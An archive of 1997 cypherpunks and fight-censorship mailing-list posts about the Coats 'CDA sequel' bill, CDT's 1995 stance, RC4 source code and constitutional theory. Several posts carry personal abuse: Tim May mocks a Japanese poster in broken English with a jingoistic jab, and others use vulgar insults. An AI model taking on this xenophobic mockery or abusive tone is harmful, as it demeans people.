>>The bill punishes commercial distributors of material
>>that's "harmful to minors" with six months in jail and a
>>$50,000 fine. Unlike the original CDA, it applies only to
>>web sites -- not to chatrooms, newsgroups, or email.
>>
>>Like the original CDA, it's certain to be controversial.
>>Sen. Coats (R-Indiana), chief GOP sponsor of the original
>>CDA, said his bill takes into account the Supreme Court's
>>unanimous vote in June that struck down his first try. "I
>>have studied the opinion of the Court and come before my
>>colleagues today to introduce legislation that reflects the
>>parameters laid out by the Court's opinion," he said on the
>>Senate floor.
>>  (ftp://ftp.loc.gov/pub/thomas/c105/s1482.is.txt)
>>
>>Coats' brainchild is strikingly similar to (and in fact not
>>as broad as) an ill-fated version of the first CDA that
>>Rep. Rick White (R-Wash.) and the Center for Democracy and
>>Technology embraced as a "compromise" in December 1995.
>>Like Coats' bill, the White-CDT measure restricted material
>>that was "harmful to minors."
>>  (http://www.epic.org/cda/hyde_letter.html)
>>
>>A Coats staffer said the measure requires adult
>>pornographers to place images behind a firewall. "If you're
>>involved in the commercial distribution of material that's
>>harmful to minors, you have to take the bad stuff and put
>>it on the other side of a credit card or PIN number," David
>>Crane said.
>>
>>But the bill applies to more than just visual pornography.
>>Its definition of material that could hurt minors includes
>>any offensive sexual "communication" or "writing" without
>>redeeming value. It applies to text-only web pages -- or
>>bookstores that place sample chapters on the web.
>>
>>Since it covers anyone who "through the World Wide Web is
>>engaged in the business of the commercial distribution of
>>material that is harmful to minors," it could apply to
>>Internet providers and online services as well.
>>
>>The FCC and the Department of Justice would be required to
>>publish on their web sites "such information as is
>>necessary to inform the public of the meaning of the term
>>`material that is harmful to minors.'" Solveig Singleton, a
>>lawyer at the Cato Institute, says: "The Supreme Court
>>struggled for years to come up with a national defintion of
>>obscenity. They failed. Harmful to minors is
>>obscenity-lite. The FCC and Department of Justice won't
>>have any luck coming up with a definition of
>>obscenity-lite."
>>
>>Not a problem, predicts former porn-prosecutor Bruce
>>Taylor, now the head of the National Law Center for
>>Children and Families. "This bill will ensure that the
>>hardcore pornographers don't get off the hook," he says.
>>
>>Next step for Coats is to attract co-sponsors and to forward
>>his bill to the Senate Commerce committee. Some judges
>>criticized Congress for holding no hearings on the original
>>CDA; Coats isn't going to make that mistake again. "There
>>will be a concerted effort to build a substantial
>>legislative history," says David Crane.
>>
>>This bill won't be the end of Congressional interest in
>>cyberporn. "You'll probably see other legislation come
>>forward. Introducing this is not abandoning our other
>>concerns," Crane says.
>>
>>-Declan
>>
>>
>>--------------------------------------------------------------------------
>>This list is public. To join fight-censorship-announce, send
>>"subscribe fight-censorship-announce" to majordomo@vorlon.mit.edu.
>>More information is at http://www.eff.org/~declan/fc/
>
>
>============================================================================
>* Value Your Privacy? The Government Doesn't.  Say 'No' to Key Escrow! *
>            Adopt Your Legislator -  http://www.crypto.com/adopt
>
>				-------------
>
>Daniel J. Weitzner, Deputy Director                       <djw@cdt.org>
>Center for Democracy and Technology                       202.637.9800 (v)
>1634 Eye St., NW Suite 1100                               202-637.0968 (f)
>Washington, DC 20006                                      http://www.cdt.org/
>



==================================================================
Marc Rotenberg, director                *   +1 202 544 9240 (tel)
Electronic Privacy Information Center   *   +1 202 547 5482 (fax)
666 Pennsylvania Ave., SE Suite 301     *   rotenberg@epic.org
Washington, DC 20003   USA              +   http://www.epic.org
==================================================================






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 13 Nov 1997 10:33:19 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Re: CDA: The Sequel -- introduced in the U.S. Senate
Message-ID: <v03007800b0900374bd99@[168.161.105.216]>
MIME-Version: 1.0
Content-Type: text/plain



Danny,

Trying to deny that CDT supported the White harmful to minors "compromise"
is a sad attempt at history revisionism. As Marc Rotenberg said, "CDT
supported the White measure and went to great pains to blame the members of
the conference committee who did not endorse it."

Which is of course true. After the vote you lost on the harmful to minors
"compromise":

     -- Comm Daily reported: Jerry Berman, exec. dir. of Center for
	Democracy & Technology, which had tried to forge
	compromise on issue, said he had been betrayed "by
	liberal Democrats, who are supposed to be protectors of
	the Constitution.

     -- IISR reported: Jerry Berman, executive director of the
	Center for Democracy and Technology, called the [vote on
	the] White proposal "a significant defeat for civil liberties
	in cyberspace.

     -- EETimes reported: "The House came within an inch of
	getting it right," says Jerry Berman, Center for
	Democracy and Technology.

Either the world's population of journalists are in a vast clandestine
conspiracy to misrepresent your organization's position or ... CDT (gasp!)
did in fact embrace the HTM so-called compromise.

You must remember, after all, that CDT declined to sign a December 5, 1995
coalition letter that told Congress to "to reject *all* proposals to impose
new government censorship regulations on cyberspace." Why didn't you sign
it?  (http://www.epic.org/cda/hyde_letter.html)

Instead, as I recall, CDT was up on stage with the anti-porn advocates to
unveil the "compromise." (I admit my memory's fuzzy on this point. I'm sure
you'll clarify.)

Where was I then? When the news of the "compromise" broke in December 1995,
I was in Cambridge having brunch with Harvey Silverglate (who's now
defending the Au Pair case) and other local free-speech advocates. As I
wrote in a post to f-c at the time, all of us were astonished to see the
headline in the New York Times: "Civil liberties groups accept compromise."
Of course it was CDT that accepted it. ACLU said at the time here on f-c
that "no true civil liberties group" would ever agree to supporting that
kind of censorship.

Also, contrary to what you claim, I'm not an "opponent" of filtering
software. Parents have the right to use it with their children. I believe,
however, that public institutions must abide by the First Amendment when
installing it.

I'm glad you provided this opportunity to clarify these issues. Now perhaps
we can move on to discussing the Coats bill.

-Declan


On Wed, 12 Nov 1997, Daniel J. Weitzner wrote:

> Declan,
>
> It's kind of you to get the word out about this new Coats bill, but you
> have managed to seriously mischaracterize CDT's position on the White
> legislation of 1995.  We did not believe that Congress should have passed
> the White Compromise, and certaily never "embraced" it, as you write.
> Based on my initial reading of the Coats bill, we will certainly oppose it.
>
> The Coats bill, with it's emphasis on age verification as a means to
> "protect" kids and provide online publishers with liability limitation, is
> actually a direct result of Justice O'Connor's dissenting opinion in the
> CDA case and her desire to try to "zone" cyberspace.  Following Larry
> Lessig, she suggests that instead of relying on individually-controlled
> blocking and filtering software, it is better for the government to require
> that certain content be placed behind age verification firewalls.  Prof.
> Lessig prefers this zoning to what you have characterized as "censorware."
> I hope that you, as an opponent of user empowerment filtering tools like
> Larry, do not prefer this O'Connor/Lessig approach too?
>
> I can't remember whether you were actually around in 1995, either as
> journalist or activist, so let me remind you of what we and other civil
> liberties advocates like Marc Rotenberg of EPIC said.
>
> In the New York Times (12/2/95, p.A1)
>
>    "While it does embody much of the original Exon proposal, it does so in
> a way
> that tries to embody a constitutionally recognized standard," said Jerry
> Berman, director of the Center of Democracy and Technology, a nonprofit group
> that focuses on civil rights and technology issues.
>
> and Jerry went on to say:
>
> "I don't think we need any legislation at all."
>
> Marc seemed to take a similar position:
>
> "It is preferable to the Exon bill, but ultimately this issue will be
> resolved in the courts, which is where it should be resolved," said Marc
> Rotenberg....
>
> Both CDT and EPIC recognized that as a plain matter of constitional law,
> the "harmful to minor" standard is more broadly accepted by courts around
> the country, but that the legislation was still an unwise infringement on
> Internet speech.
>
> We still believe that.
>
> We can certainly have a discussion about the various legislative strategies
> employed during the final days of the CDA debate and House-Senate
> conference, but frankly I think there's more important work to do.
>
> I hope that future discussions on this list can focus on how to defeat
> misguided efforts like the Coats bill, instead of misleading
> characterization of the past.
>
> Finally, Declan, I would suggest that when you want to characterize CDT
> positions you talk to someone at CDT, or at least find some documentation
> of your assertions.  I know that you recognize you have an obligation as a
> journalist to check facts and sources with some care.  That sort of care
> would also help in discussions among activists.  I'm never exactly sure
> whether you think of yourself as a journalist or activist when writing to
> FC, but whichever it is, I hope you'll try to avoid this confusion in the
> future by talking to us.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Nobuki Nakatuji" <bd1011@hotmail.com>
Date: Thu, 13 Nov 1997 13:53:09 +0800
To: cypherpunks@toad.com
Subject: about RC4
Message-ID: <19971113053703.15152.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



There are RC4 sourcecode in ftp.replay.com.
but, Is it  same RC4 developed RSADSI ?



______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Thu, 13 Nov 1997 12:47:48 +0800
To: declan@well.com
Subject: Re: CDA: The Sequel -- introduced in the U.S. Senate
In-Reply-To: <v03007800b0900374bd99@[168.161.105.216]>
Message-ID: <346A7C1C.100@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote: 
> Danny,
> Trying to deny that CDT supported the White harmful to minors "compromise"
> is a sad attempt at history revisionism. As Marc Rotenberg said, "CDT
> supported the White measure and went to great pains to blame the members of
> the conference committee who did not endorse it."

  Do people actually listen to the CDT and give them money, or do they
just give them money?
  Every time I have read one of the CDT's releases, I have to shake my
head and read it again in order to make certain it not is some kind of
spoof by a semi-retarded government spook. The releases are ofen not
even consistent within themselves, let alone when compared to their
other press releases and the claims of their employees in emails.
  I keep reading variations of "We're fighting for peace, and fucking
for virginity!" or some such nonsensical crap.

  Invariably, after the dust has settled, and the CDT embarks on some
new campaign, I look at their new releases, or the email of their
employees, and I see them claiming all kinds of things which I remember
as being the complete opposite of their claim.
  The last two times this happened, I checked the archives myself, but
this time I am going to just take the word of the other hundred people
who post to say that the CDT is full of lying, fraudulent fucks.

  Is it really that easy to make bucks in the 'Defenders of Freedom'
marketplace? Maybe I need to start an organization to save the rest
of you poor, pathetic creatures on the list from [Your Cause Here].
  What are the high-dollar buzzwords, these days? Liberal, Democracy,
Freedom? How about 'Free-Dumb' to get a little cash coming in from
slow Republicans, too?

  What is *really* scary is the thought that the people who give money
to the CDT probably vote, too.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 13 Nov 1997 14:17:24 +0800
To: "Nobuki Nakatuji" <cypherpunks@toad.com
Subject: Re: about RC4
In-Reply-To: <19971113053703.15152.qmail@hotmail.com>
Message-ID: <v03102800b0903be209fb@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:37 PM -0700 11/12/97, Nobuki Nakatuji wrote:
>There are RC4 sourcecode in ftp.replay.com.
>but, Is it  same RC4 developed RSADSI ?
>

It am developed.

You go back where you came. You go back hotmail. We tired your stupid
questions on RC4 and your Misty posts.

Sayonara!

(And they wonder why we kicked Japan's butt.)

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shylock Ohms <so@dev.null>
Date: Thu, 13 Nov 1997 12:39:17 +0800
To: cypherpunks@toad.com
Subject: Re: Br'er Tim and the Bug Hole
In-Reply-To: <v03102802b090052def34@[207.167.93.63]>
Message-ID: <346A7FC4.5407@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Tim May allegedly wrote:
> 
> What we are seeing with Hettinga's anguished armchair analysis of me and my
> motivations is a lot of overly personal, even fixated, attention on me and
> my life. He pretends to know my social life, pretends to understand why I
> won't just tone down my comments and not rock the boat. Utter nonsense.

  I have reason to believe that this post is not from Tim May, at all.
  My investigation into the matter suggests that it was written by a 
small man, around 4 feet tall, 85 pounds, with black hair, green eyes,
walks with a slight limp, has ketchup on his tie, and $3.24 in change
in his right pants pocket.
  If you check the headers of the message, you will find an anagram 
for, "Throw rocks at DC!"

  Does this sound like the Tim May that you all know?

Shylock Ohms





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 13 Nov 1997 12:50:57 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Mad as Hell (fwd)
Message-ID: <199711130452.WAA10417@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 12 Nov 1997 20:02:38 -0800
> From: Blanc <blancw@cnw.com>
> Subject: Re: Mad as Hell

> Tim May wrote:
> 
> >Colorado state Senator Charles Duke, also in the studio audience,
> >spoke about the 10th Amendment Sovereignty Resolution, a modern
> >version of Magna Carta designed to force a constitutional showdown
> >with the federal government. 
> 
> This sounds interesting!  This is what I had in mind, in that other thread
> about "What Will Revolution Look Like"
> 
> >[...]A merchandise ine with caps, t-shirts with the blazing
> >l "Mad As Hell" logo is also planned.
> 
> However, this is unfortunate.   Trinkets like these may bring in useful and
> needed funds, but they take away from the seriousness of the effort, from
> the respect the cause deserves.  They make the wearers look like weenies
> playing a child's game, rather than serious individuals in their rights
> minds with the concentration and commitment to do important work for the
> purpose at hand.
> 
> (In a silly mood, I could see a gathering of such supporters in a large,
> crowded courtroom, all wearing T-shirts saying, "It's *ShowTime* !!!" )

A reasonable motto should be something like:

10th?

I'm all for a political faction, they really don't have to be as organized
as the Big Two & Little Third would like you to believe. Perhaps the
concepts of multiple political parties with their own popularist views has
become truly effective because of the impact of technology in particularly
on concept expression, and communications.

What needs to happen is a small group of suitably inspired whiz kids need to
get together and form a complete plan for creating legal cases to decide the
respective aspects of the 10th.

 
				ARTICLE X. 
 
	The powers not delegated to the United States by the Constitution, 
nor prohibited by it to the States, are reserved to the States respectively, 
or to the people. 


In some manner the question of whether the first sentence is an implicit
limitation of *all* laws and regulations at the federal level needs to be
tested. In other words, each and every law *must* trace its existance to a
specific set of sentences in the Constitution. If it could be found to be so
then each and every law and regulation at the federal would have to pass
constitutional review at every stage of its existance within the federal
government. Then a case needs to found of some situation say the founding of
a church based on smoking marijuana was a illegal entity under the 1st where
it is found that such organizations were illegal (rather trivial I suspect).
At this point the wording of the 1st becomes *much* more specific.

 
				ARTICLE I. 
 
	Congress shall make no law respecting an establishment of religion, 
or prohibiting the free exercise thereof; or abridging the freedom of 
speech, or of the press; or the right of the people peaceably to assemble, 
and to petition the Government for a redress of grievances. 
 

Under this light it becomes glaringly clear that not only is Congress not
allowed to even discuss legislation respecting claims of religion. Per the
10th that would fall to the individual states to resolve under their
individual constitutions. This would force many of the major social issues
onto a regional basis where they could be dealt with in a plurality of ways.
Issues regarding infringement of private ownership of weapons becomes
glaringly clear in that light. It simply isn't a federal issue. Per the 10th
it must be dealt with at the state level. Other issues such as no searches
except under warrant issued with probable causes automaticaly prohibits
various sorts of searches including samples of body tissue. The issue of the
use of federal military troops for any sorts of operations except those
respecting the operations of the defence of the US would be clearly decided.
Such silliness as the Supreme Court finding that teachers have the
Constitutional right to search kids because of supposed criminal wrong doing
is clearly shown for what it is, an violation of an individuals civil
rights. Warrants can only be issues on probably cause. Under these sorts of
conditions the various consensual crimes our government now routinely
practices would end. This is vary scary to the status quo crowd. And here
lies the rub, the initial 10th test cast must be irrefusable concerning the
10th. The question then becomes, "What is the issue?". What law or aspect
thereof is found so compelling that the Supreme Court *must* accept the case
for ruling *and* must find in favor of Constitutional review. For maximum
impact somebodies life must hang in the balance in such a manner that some
fundamental question of legal lineage is brought forth. This reduces the
issue to its most fundamental, "Is the right of the state more important
than the life of the individual?"

Why some lawyer has not used this basic question in the numerous murder
trials is truly amazing. If he wins a legal precidence is set. If he looses
and gets to appeal. Then walk that appeals train right up to the fundamental
question of the 10th. Forcing the Supreme Court to either reject, stating
clearly their answer in favor of the majority, or else to review and find
that laws must pass Constitutional muster. Either way the question gets
answered.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 13 Nov 1997 12:17:06 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Re: CDA: The Sequel -- introduced in the U.S. Senate
In-Reply-To: <v03007800b0900374bd99@[168.161.105.216]>
Message-ID: <v03007805b0902b2616d6@[204.254.21.105]>
MIME-Version: 1.0
Content-Type: text/plain



[Got a note from a longtime Hill observer on CDT and their "harmful to
minors" compromise. --Declan]

>I remember a press conference, or a briefing, on the Hill in which
>White, AOL, ISA, CDT, et. al. were promoting the measure very
>heavily.  Jerry spoke out strongly in favor of it.
>
>Memories in Washington are short, and distortions are the currency of
>the realm.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 13 Nov 1997 13:51:03 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Fight CDA 2...?
Message-ID: <199711130553.XAA10731@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Seems to me that the fundamental question that should be asked here is:

Does the 10th require strict compliance with the wording of the Constitution
per the first sentence of the 10th or explain specificaly what
Constitutional sentences are being used to justify the 10th and by extension
the entire Constitution itself being exempt of mandatory constitutional
review at all stages of a laws life.

This is perhaps the key question that needs to be asked in order to properly
understand the language of the Constitution. Viewed in the light of strict
compliance the wording of the Constitution becomes remarkably free of
ambiguity.

If the 10th is taken literaly it can only be interpreted as saying:

 -  The federal government is required to justify all its rules,
    regulations, and offical actions within the explicit context of
    the text of the Constitution.

 -  In situations where there is no clear ruling the issue is remanded
    to the states for resolution per their own individual constitutions.
    Or in cases where the state constitution would not apply to the people.

 -  "to the people" needs to be interpreted as meaning to be left to
    individual discretion and therefore fundamentaly exempt from review
    at the state or federal level.

 -  This is the level a behaviour or action becomes a Constitutionaly
    recognized right exempt from future regulation per the 9th.

 -  The above interpretations are open to change per the methods described
    for Constitutional Amendments.

 -  "Congress shall make no law..." & "shall not be infringed." become
    much clearer and less open to federal level inteference.

Some of the results of this would be:

 -  The entire 'Drug War' machine would grind to a halt

 -  Many people in jail on solely drug possession and use charges
    with no other jailable charge would be released immediatly

 -  NASA would require some sort of Constitutional amendment to continue
    to operate

 -  The interaction and use between the US military and the state and
    local level regarding law enforcement would cease immediately

 -  CDC would require Constitutional amendment funding

 -  Issues of what is and what is not 'legal' speech would be resolved
    at the state level.

 -  Confiscation of property without compensation would be completely
    abandoned.

 -  The recognition that police have no fundamental rights under the
    Constitution because it in no way draws a distinction between
    polic & a non-police citizen. Laws can not draw distinction of
    this sort at the federal level.

 -  Each and every search *must* be at the direct interaction of a
    magistrate *and* must explicity describe what is being searched
    for *and further* demonstrate probable cause within a much more
    precise environment.

 -  The recognition that laws based on the distinction of 'victimless'
    and 'victim' crimes is a distinction that can't be drawn at the
    Constitutional level.

 -  A action or behaviour is either protected or it isn't.


This would create a set of states with quite a range of constitutional
environments. I can just see the "Mormon State of Utah" where the official
constitutional religion is Mormonism by amendment.



 --------------------------------------------------------------------

 
				ARTICLE X. 
 
	The powers not delegated to the United States by the Constitution, 
nor prohibited by it to the States, are reserved to the States respectively, 
or to the people. 
 

    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lcs Mixmaster Remailer <mix@anon.lcs.mit.edu>
Date: Thu, 13 Nov 1997 08:15:22 +0800
To: cypherpunks@cyberpass.net
Subject: Scared of US; Where to relocate?
Message-ID: <19971113000002.17979.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



>It has become very clear to me over the past few years that amerika
>is headed for some pretty rough times, and I've decided to leave before
>it becomes illegal for me to do so. The only question is, where to?

Lagrange 5 and Mars are good choices. The near side of the Earth moon
doesn't qualify and neither does Earth orbit since it's so easy to shoot you
down.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 13 Nov 1997 07:19:50 +0800
To: cypherpunks@toad.com
Subject: Re: Scared of US; Where to relocate?
Message-ID: <199711122311.AAA27165@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote:
> 
> It has become very clear to me over the past few years that amerika
> is headed for some pretty rough times, and I've decided to leave before
> it becomes illegal for me to do so. The only question is, where to?

Comet CypherPunk Bop-Shoo-Bop will be approaching close to earth
in late 1999 to drop off Jesus and pick up the CypherPunks.
We're meeting at Tim's place.
{Anyone who makes it to the pick-up site get's a T-shirt that says,
 "Darwin was right!"}

Do[n't]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 13 Nov 1997 15:09:35 +0800
To: cypherpunks@cyberpass.net
Subject: Re: John Brown
In-Reply-To: <ff0c08ce54aa4c02073a252924d8e659@anon.efga.org>
Message-ID: <v0400270db0903bbee432@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Fine.

I stand corrected.

John Brown not only started the civil war, but he also was the only reason
the union won.

"Movies. Laundry. Same thing."

The ganglia twitch.

The last guy who thought that kind of rubbish was Charlie Manson.

Helter Skelter,
Bob Hettinga

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.5

iQEVAwUBNGqMAcUCGwxmWcHhAQGPNQf8CPzBVbA4nvmZyTsGyVaPXkfQWx60cbgR
k1J6VRws30Z4KCVGemJvkYa39MJ6WePyZTnJZ4C8hAMD7vxNnLmZ5QfVCR1YKYAL
jq1yZAuirhGDL/+oiOICS89fXuIrwAVTZTQiLq7ffltmvgoCEKIgSvRXUQmV5EOn
oVMV3Rxu74/fA0r/BA+LUMj3VtA1MIVH5toIRPyNy5qrHW5XgkhfdQmf29iz1AkI
TAXhP5yjI8sBQYzXbPPzW2xQh/yX/0RlrjC0jQ0KQMig1AJ7H7QU5ycnyBKSxpTt
BsADVLftsuBWkmkdGt3DhytAoAhv/QIhrYcluh36/EpDQ5rK0+Sh2A==
=O0CI
-----END PGP SIGNATURE-----

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 13 Nov 1997 19:33:20 +0800
To: cypherpunks@toad.com
Subject: Re: Minor Language Note
In-Reply-To: <v03102802b08fe06c4c97@[207.167.93.63]>
Message-ID: <0uD4Fe14w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tiny Tim <tcmay@got.net> writes:
> (Sometimes people have three names, sometimes two names, popularly used.
> Criminality has little to do with it. For example, Richard Speck, Charles
> Manson, John Walker, Aldrich Ames, Ted Kaczynski, Timothy McVeigh, Terry
> Nichols.  Most of them presumably have middle names.)

We all know what the "C." in "Timmy C. May" stands for...

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mikhael Frieden <mikhaelf@mindspring.com>
Date: Thu, 13 Nov 1997 12:41:47 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: CDA: The Sequel -- introduced in the U.S. Senate
Message-ID: <3.0.16.19971113001015.0e6f3a5e@pop.mindspring.com>
MIME-Version: 1.0
Content-Type: text/plain



At 05:01 PM 11/12/97 -0500, Declan McCullagh wrote:
>Just when you thought the Internet was safe from government
>censorship, Sen. Dan Coats has introduced a sequel to the
>notorious Communications Decency Act.

>The bill punishes commercial distributors of material
>that's "harmful to minors" with six months in jail and a
>$50,000 fine. Unlike the original CDA, it applies only to
>web sites -- not to chatrooms, newsgroups, or email.

        On the legal side this narrowing has a modest merit in that the
government has established (rightly or wrongly) the power to control
publishers. It is difficult to find a reference to a website that does not
make a reference to publishing. Thus it falls under a reasonable
interpretation of existing law and precident (and distinguished from, the
internet is a telephone as the frozen brains would have it.) 

        The critical problem is obvious, harmful to minors. Tooth decay is
harmful to minors, all product advertising that can be construed as
increasing the incidence of tooth decay is harmful to children. 

        It also brings up the German "I can trump your arguement and invent
a new one" excuse for banning Zundelsite, that it was "ethically
disorienting to children." If one presumes ethical disorientation is a harm
then one has to hold all forms of education that promote independent
thinking are harmful to children. It would therefore make huge numbers of
academic sites criminal including the Gutenberg Project for carrying
materials that resulted in the prosecution of Socrates for essentially the
same crime. 

        It is not a viable concept without a definition of harm to
children. Given current events, any mention of air bags is not merely
harmful to children but lethal to children. 

-=-=-
I have contacted the owner with a problem. It still sends to me but does
not receive. Until the mailing list problem is corrected I will try to
continue participation this way. Let me know if you have a problem with
this method. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Thu, 13 Nov 1997 15:23:45 +0800
To: bd1011@hotmail.com
Subject: Re: about RC4
In-Reply-To: <19971113053703.15152.qmail@hotmail.com>
Message-ID: <199711130718.BAA24142@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain




> There are RC4 sourcecode in ftp.replay.com.
> but, Is it  same RC4 developed RSADSI ?

The code interoperates with the RSADSI RC4, but the various RC4 sources
offered in the FTP lib were coded by individuals not affiliated with
RSADSI. 

So, same cipher mathematically speaking, but not the specific
copyrighted code RSADSI licenses to its customers. 

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 13 Nov 1997 15:17:40 +0800
To: cypherpunks@toad.com
Subject: Re: Br'er Tim and the Bug Hole
In-Reply-To: <199711130046.SAA02417@dfw-ix6.ix.netcom.com>
Message-ID: <v04002715b0903ef3a538@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 7:45 pm -0500 on 11/11/97, Monty wrote:

> As Michel Foucault used to say, "The only guarantee of freedom is
> freedom itself."

The world's foremost pseudomystical relativist cited to support an
absolutist position. The logic escapes me. But then, logic, much less
independent thinking, was never Foucault's strong point.

>  Put another way, "rights which are not exercised are
> lost."

True enough, but it doesn't follow from your Foucault quote very much.
Besides, I'd rather say "because it can be done, it will be done."
Especially if it's better.

Freedom gives you all kinds of benefits you don't get from totalitarianism,
including a more robust economy, and thus, the society it's founded on.

Yeah, I know. It smacks of utilitarian determinism, even, horrors, logical
positivism. So, um, shoot me, okay? :-). On second thought, don't. I'm not
the guy asking for a no-knock around here...

> We don't see Freeh and Reno backing off so they don't become
> poster children for cryptoanarchy, do we?

No, but that's not the point people are making about Tim. If you see a pride
of lions before they see you, it's probably a good idea to give them a
little room. It's not usually a good idea to walk up to them unarmed, and
scold them for being carnivorous. And, frankly, Tim's arsenal, against a
good entry team, is the equivalent of facing that entry team unarmed.
Shooting them only makes them mad.

However, to continue the above analogy, I know not why :-), if you're just
waiting for a Land Rover to come by, so you can get closer without the lions
eating you, I, personally, would call that prudent. Once ensconced in
Leyland's Finest, you can scold your lions all you want, because the
technology protects your foolishness.

So, by the same token, I would also say that if you're going to threaten a
federal judge with death on a public email list, it might behoove you to use
a nym and a remailer. Like you do, Monty. Using a nym and a remailer, I
mean, not threatening a federal judge. :-).

> Just because free speech is a right guaranteed under the Constitution
> does not mean that is necessarily a safe right to exercise.  Let us
> hope that Tim does not come to harm.  But, let us also give him the
> credit he deserves for having the courage to speak his mind.

Yes. Fine. Tim has courage. God bless him. Hope he enjoys his firefight. May
the laser sights of his enemies never stay long enough on his motor cortex
to get a clean shot off. Etcetera.

> I've been reading about a newspaper called the "Aurora" which operated
> in the 1790s from Philadelphia.

Yes. I read it too, when it came out. Franklin was my favorite patriot.
Aurora was founded by his grandson(?), if I remember. The one who went with
Franklin to Paris, as a kid, right?

> It made itself very unpopular with
> Washington by claiming he was not the "Father of the Country".  It
> made itself doubly unpopular with Adams for other less than
> respectful, but astute, observations.

Right. And then Adams passed the Alien and Sedition laws. And then the
Supreme court took him out. Game over.

> People said exactly the same things that Hettinga is saying here.

First of all, let's clear the air about this right now. The bit where I
said,

> >I mean, Tim, I have to admit I'm just as nervous as the next guy
> >about being next to soft targets these days,

is not me saying that I'm afraid that Tim is going to get us all sent to
Auschwitz-on-the-Patomac, or something. Far from it. It means exactly what I
said. That the situation *does* seem politically unstable at the moment.
Well, technologically unstable, anyway, with the rumored availabilty of
suitcase nukes, and a jumpy bunch of Feds almost hoping it's so, so they'll
have a few years more of the Cold War ricebowl to last them 'till
retirement. Winn Schwartau and the "InfoWar" boys are good examples of this
kind of dreck.

To return to the point, my actual concern, if you can call it that at this
